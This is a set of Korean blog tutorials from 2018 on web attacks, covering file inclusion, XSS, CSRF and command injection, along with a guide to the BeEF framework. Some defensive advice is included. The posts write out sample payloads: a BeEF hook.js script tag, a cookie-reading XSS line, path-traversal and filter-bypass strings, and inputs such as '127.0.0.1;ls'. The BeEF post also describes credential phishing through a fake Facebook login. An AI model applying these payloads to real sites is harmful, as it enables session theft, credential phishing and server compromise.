(악의적인 행위의 책임은 사용자 본인에게 있습니다.)

File Inclusion취약점이란 PHP로 이루어진 웹페이지에서 파라미터 값을 정확하게 검사하지 않는 경우에 발생한다.

일반적으로 RFI(Remote File Inclusion)와 LFI(Local File Inclusion)로 나뉜다.

RFI는 공격자 서버에 존재하는 파일을 가져와 공격을 하는 기법이며,

LFI는 공격 대상 서버의 내부에 존재하는 파일을 이용하여 공격하는 방법이다.


다음 예제를 보자.

위와같이 한 페이지에서 파일을 page의 파라미터로 넘겨줌으로써 다른 페이지로 이동하는 예제가 있다고 생각해보자.

그렇다면 page의  /etc/passwd와 같은 경로를 주게되면 대상 서버의 존재하는 패스워드 파일을 읽을 수 있으며

공격자의 서버에 존재하는 파일 또한 include 시켜 공격을 시도할 수 있다.

(공격자의 서버의 ip는 127.0.0.1이라고 가정한다.)

하지만 위의 방법처럼 쉽게 공격이 성공하지 못할 경우가 있다. 

다음의 코드를 보자.

이 코드를 보면 위에서 사용했던 방법이 차단되었음을 볼수있다.

http://와 https://를 지워줌으로써 RFI를 공격을 방어하였으며, ../와 ..\를 통하여 LFI공격을 차단하였다.

하지만 코드를 자세히 보면 str_replace함수가 해당 문자열을 검사하여 한번만 제거해주기 때문에 

hhttp://ttp:// 와 같은 명령어를 넣어주면 가운데의 http://가 사라지면서 남은 문자열이 http://가 완성이 된다.

또한 ..././와 같은 방법으로도 이전 디렉터리로 이동해서 원하는 파일을 실행시킬수도 있다. 

이러한 공격 방법을 Path Traversal이라고 한다.


또 다음의 코드를 보자

이 코드를 보면 파일 이름이 file~~이 존재하거나 include.php가 아니면 에러를 출력하게 해놨다.

fnmatch함수를 자세히 알아보면 첫번째 파라미터값이 두번째 파라미터에 속해있기만 하면 참을 리턴하기 때문에 

처음에 시작을 file로 시작하고 위에서 시도해봤던 Path Traversal를 이용해서 공격을 성공 시킬 수 있다.

File Inclusion 공격에 대비하기 위해서는 다음과 같이 코드를 작성해야한다.

현재 페이지에서 불러들일 수 있는 파일이름을 정확하게 명시하여 그 이외에 모든 경우를 차단하는 것이 안전하다.


'WebHacking' 카테고리의 다른 글

BeEF 사용법  (0) 2018.07.29
Stored XSS 공격  (0) 2018.07.29
Reflected XSS 공격  (0) 2018.07.29
CSRF  (0) 2018.07.28
Command Injection  (0) 2018.07.28


(악의적인 행위의 책임은 사용자 본인에게 있습니다.)


BeEF는 Browser Exploit Framework의 약자로써 사용자 PC의 정보수집부터 공격을 할수있는 도구로써

XSS공격을 할때 유용하게 사용할수있는 프레임 워크이다

아이콘은 소 모양으로 생겼으며 이 프로그램을 시작하면 다음과 같은 콘솔창이 생기며 웹브라우져가 켜진다.


아이디와 비밀번호는 beef이며 로그인을 하게되면 왼쪽창에서 다음과 같은 디렉터리를 확인할 수 있다.

처음에는 online과 offline에 아무것도 없겠지만 만약에 XSS 공격을 받은 대상이 있다면 나타날 것이다.

위의 콘솔을 보면 hook.js파일을 사용하라고 나오기 때문에 저 스크립트를 XSS 공격에 취약한 부분에 삽입을 하게되면

공격을 성공하게 된다.(<script src="http://127.0.0.1:3000/hook.js"></script>)


공격을 성공하면 beef의 detail탭에서 다음과 같은 다양한 정보들을 보여준다.


또한 beef에서는 온라인되어져있는 클라이언트에 대해서 각종 공격을 할 수 있다.

Commands -> Social Engineering -> Pretty Theft 를 선택해보면 

pretty기능 페이스북과 같은 소셜네트워크 사이트의 로그인페이지를 비슷하게 만들어서 띄어주며 사용자가 페이스북에

아이디 비밀번호를 입력을 했을 경우에 이 정보를 가로채는데 사용된다.


위의 화면에서 실행을 하게 되었을 떄 다음의 그림처럼 페이스북 로그인 페이지가 사용자에게 뜨게 된다.

만약에 백그라운드로 페이스북을 사용하고 있는데 저런 팝업창이 뜨게된다면 세션이 만료된 줄 알고 아이디 패스워드를

입력하게 되면 바로 계정정보가 공격을 당하게 되는 것이다.

이메일과 패스워드를 입력하면 위와 같이 계정정보가 바로 공격자에게 넘어가는 것을 확인할 수 있다.









'WebHacking' 카테고리의 다른 글

File Inclusion 공격  (0) 2018.07.31
Stored XSS 공격  (0) 2018.07.29
Reflected XSS 공격  (0) 2018.07.29
CSRF  (0) 2018.07.28
Command Injection  (0) 2018.07.28

Stored XSS 란 공격 스크립트를 게시판(서버)과 같은 곳에 삽입하여 사용자가 해당 페이지를 클릭하는 순간 

스크립트가 실행되도록 하는 방법이다. Reflected XSS와는 다 한번 삽입이 성공하면 그 게시판을 사용하는 모든 사용자의

세션아이디를 탈취할 수 있으므로 더욱 큰 피해를 줄 수 있는 기법이다.





'WebHacking' 카테고리의 다른 글

File Inclusion 공격  (0) 2018.07.31
BeEF 사용법  (0) 2018.07.29
Reflected XSS 공격  (0) 2018.07.29
CSRF  (0) 2018.07.28
Command Injection  (0) 2018.07.28

Reflected XSS 공격이란 스크립트를 반사하기 때문에 얻어진 이름이다

이 공격의 순서를 보면 처음으로 해커가 한 사용자에게 이메일등으로 피싱을 시도한다.

이 이메일에는 세션쿠키와 같은 정보들을 빼갈수 있는 스크립트를 심어둔다.

이 상황에서 사용자가 이 링크를 클릭하게 되면 스크립트 코드가 삽입된 요청이 전송되게 되고 

이떄 웹서버는 다시 이 스크립트를 웹브라우저에 반사시키고 이 코드가 실행되면서 

해커가 세션쿠키를 얻어 사용자 권한으로 접근이 가능하게 된다.


다음은 XSS 공격을 위한 예제이다

다음과 같이 alice라고 입력을 하면 hello alice 라고 결과가 나오게 된다. 

내가 입력한 값을 그대로 출력해주기 때문에 여기에 <script>alert(1)</script> 라고 적어주게 되면 결과는 다음과 같다

<script>alert(document.cookie)</script> 이러한 인풋을 주게되면 세션ID 또한 접근이 가능하게 된다.

이러한 결과가 나오게 되면 XSS 공격이 가능하다는 것을 알려준다. 그렇다면 이 다음으로는 피싱을 이용해야한다.

다시 alice를 입력하고 주소창을 보면 name의 값으로 alice가 전달된다는 것을 알 수 있다.


이를 이용하여 다음과 같이 피싱메일을 만들어서 해당 사용자의 세션 ID값을 얻어낼 수 있다. 











'WebHacking' 카테고리의 다른 글

File Inclusion 공격  (0) 2018.07.31
BeEF 사용법  (0) 2018.07.29
Stored XSS 공격  (0) 2018.07.29
CSRF  (0) 2018.07.28
Command Injection  (0) 2018.07.28

(악의적인 행위의 책임은 사용자 본인에게 있습니다.)


CSRF 공격이란 Cross Site Request Forgery의 약자로 사이트 간 요청 위조라고 부른다.

어떤 사용자에게 피싱을 해서 사용자 모르게 패스워드를 변경하는데 사용한다.

피싱이란 사회공학기법중 하나로 이메일이나 게시판을 이용하여 사람들을 속이는 기법이다.


CSRF 공격은 두가지의 전제 조건을 가진다.

첫번째는 일반 사용자가 해당 웹 페이지에 로그인이 되어있어야 하고,

두번째는 사용자가 피싱을 당하여야 된다는 것이다.

로그인이 되어 있어야 하는 이유는 세션id값을 같게 만들기 위해서이다.


다음의 그림은 CSRF의 코드 및 예제입니다.


위 그림과 같이 변경할 비밀번호에 normal이라고 적고 버프스위트로 확인해보면 다음 그림과 같습니다

get요청이 전달되었고 password_new와 password_conf의 파라미터와 Change파라미터가 전달되었다.

다른웹사이트에서 링크를 눌러 이 요청이 전달된다면 패스워드가 변경 될 수 있다.

하지만 여기에서 필요조건은 사용자의 세션이 유지되어야 한다는 것이다. 세션 쿠키의 값이 같아야 

같은 사용자로 보고 비밀번호를 변경할 수 있기 때문이다.


이 코드는 ajax를 이용하여 url와 파라미터를 똑같이 구성을 한것이다. 코드를 보면 패스워드를 hacker로 

변경하고 있으며 <body>태그의 Click 링크를 눌렀을 때 poc()함수가 실행되도록 했다.


이다음으로는 해당 url로 들어갈 수 있는 피싱메일을 작성해서 보낸 뒤 사용자가 읽으면 된다


 


여기서 Click을 눌렀을 때는 위의 코드를 통해 사용자의 비밀번호가 hacker로 바뀌게 된다


왼쪽은 피싱을 통한 url을 접근했을 경우의 요청이며 오른쪽은 정상적으로 사용자가 비밀번호를 변경했을 때의 상황이다.

Referer헤더는 현재의 요청이 어디서 시작되었는지 알려주는 헤더인데 이것이 다른 것을 확인할 수 있다. 

왼쪽과 같은 경우에는 해커가 운영하는 서버로 접근을 하지만 오른쪽과 같은 경우에는 정상적인 곳에서 시작되었음을 알 수 있다.



하지만 위의 코드처럼 Referer헤더를 검사하는 부분이 있다면 이전의 방법이 막히게 된다.

이렇게 된다면 해당 스크립트를 해커 사이트가 아닌 웹서버 자체에서 실행이 된다면 Referer헤더를 

검사하는 루틴을 우회할 수 있다.

또 다른 취약점 중 하나는 위에서 eregi 함수를 사용하는데 이 함수는 앞의 문자열이 뒤의 문자열에 포함되는지

확인하는 함수이다. 이 경우에 서버주소만 같게 만들어 준다면 충분히 우회가 가능하다.

예를들면 스크립트 파일의 이름을 cert_localhost.html 과 같은파일로 공격을 하게된다면 검사루틴이 우회가 가능하다.












'WebHacking' 카테고리의 다른 글

File Inclusion 공격  (0) 2018.07.31
BeEF 사용법  (0) 2018.07.29
Stored XSS 공격  (0) 2018.07.29
Reflected XSS 공격  (0) 2018.07.29
Command Injection  (0) 2018.07.28

(악의적인 행위의 책임은 사용자 본인에게 있습니다.)


커맨드 인젝션이란 웹을 통해 시스템명령어를 실행하는 공격이다.


다음에 보이는 예제는 ip주소를 입력하면 ping을 보내주는 예제이다.


위 예제의 소스코드를 보면 다음과 같다.



사진으로 보는바와 같이 $target에 우리가 입력한 값이 들어가는 것을 알 수있다.

shell_exec을 사용하는것은 터미널에서 명령을 내리는 것과 동일하다.

리눅스에서는 세미콜론(;)을 이용하여 여러개의 명령어를 입력할 수 있기 떄문에 간단하게 공격을 성공할 수 있다.


127.0.0.1;ls 라고 입력을 하면 ping이 제대로 실행 된 뒤에 ls명령어가 실행되는 것을 알 수 있다. 하지만 앞에 명령어를 꼭 실행 시킬 필요는 없기 때문에 바로 세미콜론을 적어준 다음에 원하는 명령어를 입력해도 실행이 된다.



다음의 소스코드를 보자.

그림을 보면 입력했던 값에서 세미콜론과 &&이 지워버리는 것을 알 수 있다.

&&는 윈도우에서 세미콜론과 마찬가지로 여러개의 명령어를 사용할 수 있게 해주는 명령어 구분자로 사용된다.


하지만 세미콜론만 막아서는 커맨드 인젝션을 막을 수는 없다.

이외에 파이프(|)나 &를 사용하여 공격을 할 수있다.


파이프(|)는 앞 명령어의 출력값을 다음 명령어의 인풋으로 넘겨줄 떄 사용하는 명령어이다.

&는 앞 명령어를 백그라운드로 실행시키기 때문에 뒤에 명령어가 실행 될 수 있다. 


다음의 소스코드를 보자

그림을 보면 대부분의 문자들이 지워지고 있는것을 알 수 있다.

하지만 여기서 자세히 보면 세번째줄의 파이프를 보면 파이프하나만 지우는 것이 아니라 

그 뒤에 띄어쓰기가 하나 포함된 것을 확인 할 수 있다.


따라서 127.0.0.1|echo success!!와 같이 파이프와 다음 명령어를 붙여서 작성하면 쉽게 공격을 할 수 있다.


위에 예제에서 커맨드 인젝션 공격을 예방하기 위헤 취해야 할 조건은 입력값이 정확하게 ip주소가 맞는지 이를 판별 할 수 

있는 코드를 작성 해야만 한다. 예를 들면 .을 기준으로 총 4개의 토큰이 생기는지, 또한 그 4개의 토큰이 모두 정수가 맞는지 

확인하는 코드가 있으면 커맨트 인젝션 공격 취약점을 예방 할 수 있다.





'WebHacking' 카테고리의 다른 글

File Inclusion 공격  (0) 2018.07.31
BeEF 사용법  (0) 2018.07.29
Stored XSS 공격  (0) 2018.07.29
Reflected XSS 공격  (0) 2018.07.29
CSRF  (0) 2018.07.28

+ Recent posts